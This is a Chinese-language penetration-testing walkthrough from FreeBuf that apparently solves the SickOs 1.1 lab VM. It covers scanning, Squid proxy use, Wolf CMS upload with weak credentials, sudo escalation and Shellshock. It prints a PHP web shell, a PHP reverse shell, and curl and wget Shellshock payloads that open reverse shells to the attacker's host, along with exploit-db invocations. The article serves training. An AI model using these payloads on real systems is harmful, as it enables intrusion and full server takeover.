freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透项目之SickOs 1.1
2022-05-05 12:02:16

简介

该项目是D4rk作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到信息收集->web页面信息枚举->获得getshell(三种方式)->内网信息枚举->sudo提权->四个拓展小知识,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集!

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:
1651723112_62734b6891628e2a48050.png!small?1651723113871
本机IP为:192.168.40.138

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

1651723117_62734b6dad3fe41cc801d.png!small?1651723118144
发现项目iP:192.168.40.159

2、nmap全端口枚举

进行namp全端口服务枚举:

nmap -sC -sV -A -T5 192.168.40.159

1651723121_62734b71e26be8a534a62.png!small?1651723122560

得到开放的端口信息:

22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1    
3128/tcp open   http-proxy Squid http proxy 3.1.19           
8080/tcp closed http-proxy     

开启了三个端口,8080端口是关闭状态,3128显示代理了http,那么访问得用squid进行访问。

二、web页面信息枚举

1、http代理设置

Squid Cache(简称为Squid)是HTTP代理服务器软件。 Squid用途广泛,可以作为缓存服务器,可以过滤流量帮助网络安全,也可以作为代理服务器链中的一环,向上级代理转发数据或直接连接互联网。 Squid程序在Unix一类系统运行。

火狐浏览器自带代理设置:

192.168.40.159  3128

1651723128_62734b784315479b83701.png!small?1651723128740
访问页面:

http://192.168.40.159/

1651723131_62734b7beceeecf4bd692.png!small?1651723132130
通过代理后可以正常访问,信息收集看了源码发现无可用信息!

2、nikto漏扫

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。

由于挂了代理,利用nikto扫描:

nikto -h 192.168.40.159 -useproxy http://192.168.40.159:3128
-useproxy 指定代理访问地址

1651723137_62734b812bc82cd7600c5.png!small?1651723138864
发现了存在robots.txt文件信息和header存在93e4r0-cve-2014-6278信息,可以利用shellshock的CVE-2014-6271进行攻击!

3、robots.txt信息枚举

robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。

访问robots.txt文件:

http://192.168.40.159/robots.txt

1651723142_62734b863369aca41ca41.png!small?1651723142368
发现一个目录/wolfcms

访问该目录:

http://192.168.40.159/wolfcms/

1651723145_62734b89dc5d1cdffdfca.png!small?1651723146067
发现这是Wolf CMS的框架站!一般有后台登录Wolf CMS是一个轻量级的CMS系统,包含一组插件,支持每页定制,灵活的页面内容和可重用的片段。

4、Wolf CMS 文件上传

Wolf CMS是一款内容管理系统(CMS),是在GNUGeneral Public License v3下发布的免费软件。Wolf CMS是由PHP语言编写,是Frog CMS的一个分支。在2010年Packet Publishing开源项目评奖的“Most Promising Open Source Project”分类中杀进了决赛。

经过百度之后发现这是一个内容管理系统并且存在文件上传漏洞
参考文章:

https://cloud.tencent.com/developer/article/1047292

kali Wolf CMS搜索漏洞:

searchsploit Wolf CMS

1651723152_62734b908652cdacc3038.png!small?1651723153115
发现:Wolf CMS - 任意文件上传/执行| php/webapps/38000.txt

下载至本地分析:

locate php/webapps/38000.txt
cp /usr/share/exploitdb/exploits/php/webapps/38000.txt .
ls

1651723156_62734b943d079d3de877a.png!small?1651723156456
查看分析文件:

cat 38000.txt 

1651723160_62734b9893c2c301b76d4.png!small?1651723161509
发现易受攻击的URL后台地址:

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

访问后台地址:

http://192.168.40.159/wolfcms/?/admin/login

1651723165_62734b9d85aa115029feb.png!small?1651723165911
尝试弱口令登录:

admin/admin

1651723168_62734ba0de1c9db9fa19b.png!small?1651723169454
成功登录!并发现可以文件上传!

三、Getshell--三种方法

获取WebShell的动作又叫做GetShell,是渗透测试各项能力的综合体现,也是渗透测试一个重要的阶段性目标。 GetShell方式众多,常见如文件上传、SQL注入、命令执行、文件包含、解析漏洞等等。 有时候一个漏洞即可GetShell,有时候则需要各种漏洞打一套组合拳方可。接下来将介绍三种Getshell的方法给小伙伴们学习!

1、利用phpshell反弹shell(方法一)

复制phpshell到本地:

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .  
ls

1651723173_62734ba5f316d15183a74.png!small?1651723174535
修改配置为本地kali IP和监听端口:

gedit php-reverse-shell.php

1651723177_62734ba9db5fcf7f5a56d.png!small?1651723180589
上传php脚本:
1651723181_62734badd58f47c25f517.png!small?1651723182073
在kali开启监听,并访问phpshell:

nc -vlp 1234
http://192.168.40.159/wolfcms/public/php-reverse-shell.php 

1651723185_62734bb1a1c1aee747f82.png!small?1651723186613
成功获得反弹shell!

2、一句话get请求(方法二)

一句话木马原理(PHP):

1)PHP eval() 把字符串按照PHP 代码来计算。 
2)该字符串必须是合法的PHP 代码,且必须以分号结尾。 
3)如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval() 函数返回false。

编写PHP一句话脚本cmd.php

<?php echo shell_exec($_GET['cmd']);?>

1651723191_62734bb7085e8b62da9d9.png!small?1651723191289
上传cmd.php文件:
1651723194_62734bba984b141b6f2ca.png!small?1651723194873
访问PHP执行命令:

http://192.168.40.159/wolfcms/public/cmd.php?cmd=whoami  

1651723198_62734bbe058674d9c6c5d.png!small?1651723198246
成功回显命令!

3、写入POC(方法三)

编写PHP脚本,本地获得反弹shell

<?php
$sock=fsockopen('192.168.40.138',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

1651723202_62734bc2f0bd9a2c5950a.png!small?1651723203289
生成22.php,上传脚本,并访问:

http://192.168.40.159/wolfcms/public/22.php

1651723206_62734bc6df8c4b946f343.png!small?1651723207282

nc -vlp 8888
python -c 'import pty; pty.spawn("/bin/bash")'

1651723211_62734bcb1edba5c7a3ebd.png!small?1651723212263
成功反弹shell!

四、内网信息枚举

尝试后拿到了反弹shell开启内网信息枚举!

1、根目录信息枚举

查找config文件:

python -c 'import pty; pty.spawn("/bin/bash")'   #使用python进入tty
cd /var/www/
find / -name config* 2>/dev/null

1651723216_62734bd0461c55c5b3dca.png!small?1651723216573

1651723219_62734bd3abca75af44390.png!small?16517232202871651723223_62734bd73a998e34a8bab.png!small?1651723223462

发现/var/www/wolfcms/config.php 文件,打开看下:

cat /var/www/wolfcms/config.php

1651723227_62734bdbd816cc9f288ad.png!small?1651723228378
发现数据库账号密码:

root
john@123

2、MYSQL信息枚举

用获取到的账户密码mysql登录,并查看库信息:

mysql -uroot -pjohn@123
show databases;
use wolf

1651723232_62734be01454bb7854891.png!small?1651723232371
表信息枚举:

show tables;
select *from user

1651723236_62734be47d89e1bf5c39b.png!small?1651723236976
只看到admin,其他未发现有用的信息!

3、用户信息枚举

Linux中的passwd文件是一个包含用户详细信息的配置文件!

查看/etc/passwd文件:

cat /etc/passwd

1651723242_62734bea1f2e57190c587.png!small?1651723243013
发现新用户:sickos

五、提权

提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。 提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

1、ssh sickos用户登录

尝试使用mysq枚举的密码登录ssh:

ssh sickos@192.168.40.159 
john@123    
id

1651723248_62734bf023a65c6e5e78e.png!small?1651723248782
发现sickos用户在sudo组里,尝试能否sudo提权

2、滥用sudo提权

在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo可以提权。在这里,我们可以通过调用一些二进制文件,这些文件可以帮助我们使用sudo命令提升特权。

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

查看下sudo条件:

sudo -l

1651723252_62734bf47d33ed8e7b350.png!small?1651723253043
回显sudo有权限!接下来了解sudo su命令的含义:

sudo su命令和su命令相似,都是用来切换用户的。区别就是两个命令需要输入的密码不一样。

sudo su的含义就是要用root权限运行su命令,既然是用root权限运行su命令,那么就不需要输入切换到的用户的密码了。

获得root权限并拿到flag:

sudo su   
cd /root
cat a0216ea4d51874464078c618298b1367.txt

1651723256_62734bf8d251b53fb7f7f.png!small?1651723257260
成功通过sudo su!

六、拓展小知识

1、CVE-2014-6278 shellshock利用

Shellshock - CVE-2014-6271和CVE-2014-6278 - 是在 Linux 发行版中常用的Bash命令shell 中发现的一个严重漏洞。该漏洞允许攻击者在受影响的系统上运行任意命令,使用CGI环境的Web服务器会受影响。

在CVE-2014-6271的0day漏洞描述中是这么阐述的:
GNU Bash 到 4.3 处理环境变量值中函数定义之后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码,如涉及 OpenSSH sshd 中的 ForceCommand 功能、Apache 中的 mod_cgi 和 mod_cgid 模块的向量所示HTTP 服务器、由未指定的 DHCP 客户端执行的脚本,以及设置环境发生在 Bash 执行的特权边界的其他情况,即“ShellShock”。注意:此问题的原始修复不正确;CVE-2014-7169 已被分配以覆盖在错误修复后仍然存在的漏洞。

之前nikto发现:/cgi-bin/status

1)访问页面枚举:

192.168.40.159/cgi-bin/status

1651723265_62734c017eeb8d571eb4e.png!small?1651723265831
发现uptime、kernel和版本信息!

2)用curl反弹shell

nc -lvp 9999
curl -x http://192.168.40.159:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.40.138/9999 0>&1" http://192.168.40.159/cgi-bin/status
-x  使用HTTP代理启动连接
-H  使用http头进行连接User-Agent

1651723269_62734c051257341ffcf2d.png!small?1651723269216
成功反弹shell!

2、kali自带脚本shellshock

利用34900.py反弹shell:

searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .

1651723273_62734c09a855a67193a57.png!small?1651723274228
34900.py分析:
1651723278_62734c0e3f30c98bd350d.png!small?1651723278947
使用payload:

python 34900.py payload=reverse rhost=192.168.40.159 lhost=192.168.40.138 lport=555 proxy=192.168.40.159:3128 pages=/cgi-bin/status/

1651723281_62734c11d5c2d37078d83.png!small?1651723282429
成功获得shell!

3、dirb漏扫代理技巧

Dirb是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。Dirb会发出一个HTTP请求,并查看每个请求的HTTP响应代码!

用dirb漏扫代理http:

dirb http://192.168.40.159/ -p http://192.168.40.159:3128
-p 指定代理

1651723286_62734c16f118ee2735ec5.png!small?1651723287236

成功执行!参考:

https://zhuanlan.zhihu.com/p/26549845

4、wget走代理执行命令下载

Linux系统中的wget是一个下载文件的工具,其功能多样性也是可以走代理进行操作执行的!

用wget执行bash 反弹shell:

nc -vlp 9998
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/192.168.40.138/9998 0>&1" -e use_proxy=yes -e http_proxy=192.168.40.159:3128 http://127.0.0.1/cgi-bin/status
-qO-   ---将信息文本输出
-U  --user-agent=代理
-e   ----运行命令,execute=命令

1651723292_62734c1c3df8f540390e7.png!small?1651723292876
成功反弹shell!

七、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如nmap全端口信息枚举、http代理、nikto漏扫、wolf CMS文件上传、php反弹shell、一句话get请求、sudo提权、CVE-2014-6278 shellshock利用等等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术 # 网络安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦